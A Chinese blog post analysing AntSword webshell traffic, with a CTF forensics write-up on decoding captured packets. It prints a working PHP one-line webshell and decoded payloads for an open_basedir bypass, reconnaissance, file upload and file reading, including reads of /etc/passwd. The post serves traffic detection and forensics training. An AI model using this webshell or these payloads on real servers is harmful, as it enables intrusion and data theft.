下边这个博客分析的特别详细,本文是对整个流程的一个复现,想看具体的去下边这个博客里看
中国蚁剑流量分析-CSDN博客
流量不加密分析
工具准备:
burpsuite
中国蚁剑
一句话木马
1
| <?php @eval($_POST['cmd']);?>
|
phpstudy:启动一个web环境,将一句话木马写进web目录
Shell抓包分析
这里就使用burpsuite进行抓包,先将蚁剑配置好bp的代理,也可以用Wireshark或者yakit

测试连接
先测试连接

共收到一个请求

可以看到请求体的键是cmd,也就是我们一句话木马的连接密码,而他的值是一段经过url编码的PHP代码,需要注意的是一句话木马中的高危函数eval,执行的直接是这一段PHP代码,所以将这一段代码进行解码之后是不会有<?php字样的
1 2 3 4 5 6 7 8 9
| POST /msfx/shell.php HTTP/1.1 Host: localhost Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1623.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Content-Length: 1787 Connection: close
cmd=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3B%24opdir%3D%40ini_get(%22open_basedir%22)%3Bif(%24opdir)%20%7B%24ocwd%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24oparr%3Dpreg_split(base64_decode(%22Lzt8Oi8%3D%22)%2C%24opdir)%3B%40array_push(%24oparr%2C%24ocwd%2Csys_get_temp_dir())%3Bforeach(%24oparr%20as%20%24item)%20%7Bif(!%40is_writable(%24item))%7Bcontinue%3B%7D%3B%24tmdir%3D%24item.%22%2F.b74fbcf8%22%3B%40mkdir(%24tmdir)%3Bif(!%40file_exists(%24tmdir))%7Bcontinue%3B%7D%24tmdir%3Drealpath(%24tmdir)%3B%40chdir(%24tmdir)%3B%40ini_set(%22open_basedir%22%2C%20%22..%22)%3B%24cntarr%3D%40preg_split(%22%2F%5C%5C%5C%5C%7C%5C%2F%2F%22%2C%24tmdir)%3Bfor(%24i%3D0%3B%24i%3Csizeof(%24cntarr)%3B%24i%2B%2B)%7B%40chdir(%22..%22)%3B%7D%3B%40ini_set(%22open_basedir%22%2C%22%2F%22)%3B%40rmdir(%24tmdir)%3Bbreak%3B%7D%3B%7D%3B%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%22a58%22.%2226e1%22%3Becho%20%40asenc(%24output)%3Becho%20%22f4a%22.%2231a%22%3B%7Dob_start()%3Btry%7B%24D%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(%24D%3D%3D%22%22)%24D%3Ddirname(%24_SERVER%5B%22PATH_TRANSLATED%22%5D)%3B%24R%3D%22%7B%24D%7D%09%22%3Bif(substr(%24D%2C0%2C1)!%3D%22%2F%22)%7Bforeach(range(%22C%22%2C%22Z%22)as%20%24L)if(is_dir(%22%7B%24L%7D%3A%22))%24R.%3D%22%7B%24L%7D%3A%22%3B%7Delse%7B%24R.%3D%22%2F%22%3B%7D%24R.%3D%22%09%22%3B%24u%3D(function_exists(%22posix_getegid%22))%3F%40posix_getpwuid(%40posix_geteuid())%3A%22%22%3B%24s%3D(%24u)%3F%24u%5B%22name%22%5D%3A%40get_current_user()%3B%24R.%3Dphp_uname()%3B%24R.%3D%22%09%7B%24s%7D%22%3Becho%20%24R%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B
|
将这一段代码单独url解码拿出来,就是下边的PHP代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| <?php @ini_set("display_errors", "0"); @set_time_limit(0); $opdir = @ini_get("open_basedir");
if ($opdir) { $ocwd = dirname($SERVER["SCRIPT_FILENAME"]); $oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir); @array_push($oparr, $ocwd, sys_get_temp_dir());
foreach ($oparr as $item) { if (!@is_writable($item)) { continue; } $tmdir = $item . "/.b74fbcf8"; @mkdir($tmdir); if (!@file_exists($tmdir)) { continue; } $tmdir = realpath($tmdir); @chdir($tmdir); @ini_set("open_basedir", ".."); $cntarr = @preg_split("/\\\\|\\//", $tmdir);
for ($i = 0; $i < sizeof($cntarr); $i++) { @chdir(".."); } @ini_set("open_basedir", "/"); @rmdir($tmdir); break; } }
function asenc($out) { return $out; }
function asoutput() { $output = ob_get_contents(); ob_end_clean(); echo "a58" . "26e1"; echo @asenc($output); echo "f4a" . "31a"; }
ob_start(); try { $D = dirname($SERVER["SCRIPT_FILENAME"]); if ($D == "") $D = dirname($SERVER["PATH_TRANSLATED"]); $R = "{$D}\t"; if (substr($D, 0, 1) != "/") { foreach (range("C", "Z") as $L) { if (is_dir("{$L}:")) $R .= "{$L}:"; } } else { $R .= "/"; } $R .= "\t"; $u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : ""; $s = ($u) ? $u["name"] : @get_current_user(); $R .= php_uname(); $R .= "\t{$s}"; echo $R; } catch (Exception $e) { echo "ERROR://".$e->getMessage(); }
asoutput(); die();
|
我们可以单独拿出来运行一下


看下返回了什么
1 2 3 4
| 1.输出了当前脚本的目录 2.判断了操作系统 3.获取了当前用户信息 4.在输出首尾加上了随机的字符串
|
注意一点,观察asenc函数,这个函数是对传输数据或者说执行结果进行编码/加密的函数,这里因为是default传输,所以编码函数没进行任何操作。

双击进入文件管理
点进去之后,一共发送了两个包

第一个包
第一个包和刚刚的测试连接的包一样,有一些随机字符串和临时目录名字改变了,无伤大雅就不在分析了

第二个包
和第一个包很类似,不过多了一个参数,这个参数名也是随机的


单独把新参数抠出来,原来是url编码后的,url解码之后,使用substr函数提取从第三个字符往后的所有字符然后进行base64解码,运行一下,得到的是当前的路径,也对应着第一个请求的返回包中的路径

进入终端
进入终端只有一个请求包,和之前的测试请求的包是一样的

这里也可以看出来了,返回包中的信息回显在了终端上边

执行命令

也是只发送一个包,接收四个参数

发送的第一个参数呢,和之前的很不一样了

剩下三个参数功能如下,接收命令并执行

打开文件
文件上传
数据包:
1 2 3 4 5 6 7 8 9
| POST /shell.php HTTP/1.1 Host: 192.168.47.212:80 Accept-Encoding: gzip, deflate User-Agent: antSword/v2.1 Content-Type: application/x-www-form-urlencoded Content-Length: 906 Connection: close
$b2e09c4cfdd442=31323334&cmd=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%223c17376ef5%22%3Becho%20%40asenc(%24output)%3Becho%20%221eb517251cf%22%3B%7Dob_start()%3Btry%7B%24f%3Dbase64_decode(%24_POST%5B%22hc608291b15ec1%22%5D)%3B%24c%3D%24_POST%5B%22b2e09c4cfdd442%22%5D%3B%24c%3Dstr_replace(%22%0D%22%2C%22%22%2C%24c)%3B%24c%3Dstr_replace(%22%0A%22%2C%22%22%2C%24c)%3B%24buf%3D%22%22%3Bfor(%24i%3D0%3B%24i%3Cstrlen(%24c)%3B%24i%2B%3D2)%24buf.%3Durldecode(%22%25%22.substr(%24c%2C%24i%2C2))%3Becho(%40fwrite(fopen(%24f%2C%22a%22)%2C%24buf)%3F%221%22%3A%220%22)%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B&$hc608291b15ec1=QzovVXNlcnMvdXNlc25pY2svcGhwc3R1ZHlfcHJvL1dXVy9jc3JmL2EudHh0
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| <?php $b2e09c4cfdd442="3132333435"; $hc608291b15ec1="QzovVXNlcnMvdXNlc25pY2svcGhwc3R1ZHlfcHJvL1dXVy9jc3JmL2V4ZS5lbGY=";
@ini_set("display_errors", "0"); @set_time_limit(0); function asenc($out){ return $out;
}; function asoutput(){ $output=ob_get_contents(); ob_end_clean(); echo "cbb7a5084147"; echo @asenc($output); echo "f7e92c6f37e"; } ob_start(); try{ $f=base64_decode($hc608291b15ec1); $c=$b2e09c4cfdd442; $c=str_replace(" ","",$c); $c=str_replace(" ","",$c); $buf=""; for($i=0;$i<strlen($c);$i+=2) $buf.=urldecode("%".substr($c,$i,2)); echo(@fwrite(fopen($f,"a"),$buf)?"1":"0"); ; }catch(Exception $e){ echo "ERROR://".$e->getMessage(); }; asoutput(); die();
?>
|
将十六进制文件解码后写入。
文件下载
流量特征
连接一句话木马之后。每个请求体都存在@ini_set(“display_errors”, “0”);@set_time_limit(0)开头。
1 2 3 4 5 6
| <?php
@ini_set("display_errors", "0");
@set_time_limit(0);
|
请求包都是url编码过的
content-Type:有urlencode字段

执行操作时存在base64样式的键值对,但默认是删除前两位字符之后才能base64解码
蚁剑最明显的特征就是http请求流量有antsword的请求头(存疑)
响应包默认是明文,且结果返回格式为 随机数 结果 随机数
蚁剑的加密特征是以 “0x…..=”开头(存疑哈)
玄机蚁剑流量分析

将pcap包丢给WireShark

木马的连接密码是多少
这个随便找到一个HTTP包,第一个键值对的属性一般就是密码,因为他的值有@ini_set(“display_errors”, “0”);@set_time_limit(0)的特征,所以他的密码为1
flag{1}

黑客执行的第一个命令是什么
过滤出所有的请求包,选中第一个,看到他的请求包中是四个参数,第一个参数就是我们之前看到的执行命令时的四个数据包,第一个包就是执行的源码,第二个命令是加密参数,这里是空,第三个参数是shell类型,第四个参数就是他执行的命令

这里进行了url编码和base64编码,并在每个参数值前边拼接了两个随机字符,我们给他解开来看一下

可以看到当前路径是/var/www/html,第一个命令执行了id,然后输出了一个字符串又查看了当前路径

黑客读取了哪个文件的内容,提交文件绝对路径
接着看数据包的第二个HTTP包,可以给他全部过滤出来
1
| _ws.col.protocol == "HTTP"
|

解密一下

在/var/www/html目录中进行ls查看当前目录文件了
flag{/var/www/html},提交了,但答案不对,他说要被读取文件的绝对路径,看看下一个包吧

解密一下,看到读取了/etc/passwd

其实,我们看的包多了有经验之后,直接可以根据返回包的内容来判断当前数据包干了什么,想知道具体的就找到对应的请求包去解码看就行了

黑客上传了什么文件到服务器,提交文件名
接着看422 424的包

他的第二个参数值666C61677B77726974655F666C61677D0A是解不出来的,我们把他第一个参数值,也就是我们源码抠出来格式化一下看看他对于第二个参数是怎么处理的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| <?php @ini_set("display_errors", "0"); @set_time_limit(0); $opdir = @ini_get("open_basedir");
if ($opdir) { $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]); $oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir); @array_push($oparr, $ocwd, sys_get_temp_dir());
foreach ($oparr as $item) { if (!@is_writable($item)) { continue; }
$tmdir = $item . "/.368479785"; @mkdir($tmdir);
if (!@file_exists($tmdir)) { continue; }
$tmdir = realpath($tmdir); @chdir($tmdir); @ini_set("open_basedir", "..");
$cntarr = @preg_split("/\\\\|\//", $tmdir); for ($i = 0; $i < sizeof($cntarr); $i++) { @chdir(".."); }
@ini_set("open_basedir", "/"); @rmdir($tmdir); break; } }
function asenc($out) { return $out; }
function asoutput() { $output = ob_get_contents(); ob_end_clean(); echo "6960" . "cb205"; echo @asenc($output); echo "1e0a" . "91914"; }
ob_start();
try { $f = base64_decode(substr($_POST["t41ffbc5fb0c04"], 2)); $c = $_POST["ld807e7193493d"]; $c = str_replace("\r", "", $c); $c = str_replace("\n", "", $c); $buf = "";
for ($i = 0; $i < strlen($c); $i += 2) { $buf .= urldecode("%" . substr($c, $i, 2)); }
echo (@fwrite(fopen($f, "a"), $buf) ? "1" : "0"); } catch (Exception $e) { echo "ERROR://" . $e->getMessage(); }
asoutput(); die(); ?>
|
分析一下
1 2 3
| $f = base64_decode(substr($_POST["t41ffbc5fb0c04"], 2));
echo (@fwrite(fopen($f, "a"), $buf) ? "1" : "0");
|
发现第三个参数接收的是文件名称,是使用fwrite函数进行写入的,解码看一下,是写到/var/www/html/flag.txt文件中的
flag{/var/www/html/flag.txt},提交失败了,换成flag{flag.txt}

第二个参数
1 2 3 4 5 6 7 8
| $c = $_POST["ld807e7193493d"]; $c = str_replace("\r", "", $c); $c = str_replace("\n", "", $c); $buf = "";
for ($i = 0; $i < strlen($c); $i += 2) { $buf .= urldecode("%" . substr($c, $i, 2)); }
|
我们提取相关代码进行抽象修改使用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php
$c = "666C61677B77726974655F666C61677D0A";
$c = str_replace("\r", "", $c); $c = str_replace("\n", "", $c);
$buf = "";
for ($i = 0; $i < strlen($c); $i += 2) { $hexPair = substr($c, $i, 2); $urlEncoded = "%" . $hexPair; $buf .= urldecode($urlEncoded); }
echo $buf; ?>
|
urldecode() 是用于将 URL 编码的字符串解码为可读形式的函数。在这个代码中,它将十六进制字符串转换为实际的 ASCII 字符。
运行之后得到了要写入flag.txt的内容,也就是第五个flag

黑客上传的文件内容是什么
黑客下载了哪个文件,提交文件绝对路径
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93
| <?php
@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir = @ini_get("open_basedir");
if ($opdir) { $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]); $oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir); @array_push($oparr, $ocwd, sys_get_temp_dir());
foreach ($oparr as $item) { if (!@is_writable($item)) { continue; }
$tmdir = $item . "/.8462f4"; @mkdir($tmdir);
if (!@file_exists($tmdir)) { continue; }
$tmdir = realpath($tmdir); @chdir($tmdir); @ini_set("open_basedir", "..");
$cntarr = @preg_split("/\\\\|\\//", $tmdir); for ($i = 0; $i < sizeof($cntarr); $i++) { @chdir(".."); }
@ini_set("open_basedir", "/"); @rmdir($tmdir); break; } }
function asenc($out) { return $out; }
function asoutput() { $output = ob_get_contents(); ob_end_clean(); echo "72" . "648"; echo @asenc($output); echo "da743" . "e2c5c"; }
ob_start(); try { $F = base64_decode(substr(get_magic_quotes_gpc() ? stripslashes($_POST["t41ffbc5fb0c04"]) : $_POST["t41ffbc5fb0c04"], 2)); $fp = @fopen($F, "r"); if (@fgetc($fp)) { @fclose($fp); @readfile($F); } else { echo ("ERROR:// Can Not Read"); } } catch (Exception $e) { echo "ERROR:// " . $e->getMessage(); }
asoutput(); die(); ?>
|

1
| flag{/var/www/html/config.php}
|